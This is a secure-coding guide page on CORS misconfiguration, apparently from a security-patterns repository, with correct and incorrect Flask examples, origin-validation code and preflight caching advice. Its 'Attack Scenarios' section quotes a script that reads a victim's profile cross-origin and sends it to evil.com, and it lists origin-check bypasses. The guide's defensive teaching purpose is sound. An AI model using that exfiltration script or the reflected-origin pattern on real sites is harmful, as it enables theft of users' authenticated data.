17c535bc61
Complete the security patterns collection: - session-management.md: fixation, hijacking, secure cookies, concurrent sessions - cors.md: origin validation, reflected origin attacks, preflight caching - xxe.md: external entities, DTD attacks, language-specific fixes Now 19 patterns covering comprehensive web application security.
5.5 KiB
5.5 KiB
CORS Misconfiguration
Rule
Never reflect Origin blindly. Allowlist specific origins. Don't use credentials with wildcards.
Source: OWASP CORS Cheat Sheet
CORS Basics
Browser blocks cross-origin requests by default. CORS headers selectively allow them:
| Header | Purpose |
|---|---|
Access-Control-Allow-Origin |
Which origins can access |
Access-Control-Allow-Credentials |
Allow cookies/auth |
Access-Control-Allow-Methods |
Allowed HTTP methods |
Access-Control-Allow-Headers |
Allowed request headers |
Correct Pattern
from flask import Flask, request
ALLOWED_ORIGINS = {
"https://app.example.com",
"https://admin.example.com",
}
def add_cors_headers(response):
origin = request.headers.get("Origin")
# Validate against allowlist
if origin in ALLOWED_ORIGINS:
response.headers["Access-Control-Allow-Origin"] = origin
response.headers["Access-Control-Allow-Credentials"] = "true"
response.headers["Access-Control-Allow-Methods"] = "GET, POST, PUT, DELETE"
response.headers["Access-Control-Allow-Headers"] = "Content-Type, Authorization"
response.headers["Vary"] = "Origin" # Important for caching!
return response
# For public APIs without credentials
def add_public_cors(response):
response.headers["Access-Control-Allow-Origin"] = "*"
# Note: credentials CANNOT be used with wildcard
response.headers["Access-Control-Allow-Methods"] = "GET"
return response
# Handle preflight requests
@app.route("/api/<path:path>", methods=["OPTIONS"])
def preflight(path):
response = make_response()
return add_cors_headers(response)
Incorrect Pattern
# Wrong: reflect any origin (allows any site to access)
@app.after_request
def bad_cors(response):
origin = request.headers.get("Origin")
response.headers["Access-Control-Allow-Origin"] = origin # Reflected!
response.headers["Access-Control-Allow-Credentials"] = "true"
return response
# Attack: evil.com can now make authenticated requests
# Wrong: wildcard with credentials
response.headers["Access-Control-Allow-Origin"] = "*"
response.headers["Access-Control-Allow-Credentials"] = "true"
# Browser will reject, but shows misunderstanding
# Wrong: regex bypass
def check_origin(origin):
return origin.endswith(".example.com")
# Bypassed by: attacker-example.com
# Wrong: null origin allowed
ALLOWED_ORIGINS = {"https://app.example.com", "null"}
# "null" origin sent by sandboxed iframes, file:// URLs - attacker controlled!
# Wrong: substring match
def check_origin(origin):
return "example.com" in origin
# Bypassed by: example.com.evil.com
Origin Validation
from urllib.parse import urlparse
ALLOWED_ORIGINS = {"https://app.example.com", "https://admin.example.com"}
def is_valid_origin(origin: str) -> bool:
"""Strict origin validation."""
if not origin:
return False
# Never allow null
if origin == "null":
return False
# Exact match against allowlist
if origin in ALLOWED_ORIGINS:
return True
# If you need subdomain matching, be careful:
try:
parsed = urlparse(origin)
# Must be HTTPS
if parsed.scheme != "https":
return False
# Exact domain match (not suffix!)
allowed_domains = {"app.example.com", "admin.example.com"}
if parsed.netloc in allowed_domains:
return True
# Subdomain of specific parent (careful!)
if parsed.netloc.endswith(".trusted.example.com"):
# Verify it's actually a subdomain, not suffix attack
parts = parsed.netloc.split(".")
if len(parts) >= 4 and parts[-3:] == ["trusted", "example", "com"]:
return True
except Exception:
return False
return False
Attack Scenarios
# Scenario 1: Data theft via reflected origin
#
# Vulnerable server reflects any Origin with credentials
#
# Attacker's evil.com:
# <script>
# fetch("https://api.victim.com/user/profile", {
# credentials: "include"
# })
# .then(r => r.json())
# .then(data => {
# // Send stolen data to attacker
# fetch("https://evil.com/steal?data=" + JSON.stringify(data))
# })
# </script>
# Scenario 2: CSRF via CORS
#
# If CORS allows credentials from evil.com,
# evil.com can make authenticated state-changing requests
Preflight Caching
@app.after_request
def cors_headers(response):
origin = request.headers.get("Origin")
if origin in ALLOWED_ORIGINS:
response.headers["Access-Control-Allow-Origin"] = origin
response.headers["Access-Control-Allow-Credentials"] = "true"
response.headers["Access-Control-Max-Age"] = "86400" # Cache preflight 24h
response.headers["Vary"] = "Origin" # CRITICAL for caching
return response
# Why Vary: Origin matters:
# Without it, CDN might cache response for origin A
# Then serve that cached response to origin B (wrong ACAO header!)
Edge Cases
- WebSocket connections don't use CORS (use Origin header manually)
Access-Control-Expose-Headersneeded for custom response headers- Preflight not sent for "simple" requests (GET, POST with basic headers)
- Internal APIs should still validate Origin (defense in depth)
- Browser extensions can bypass CORS (not a vulnerability)
- Server-to-server requests don't involve CORS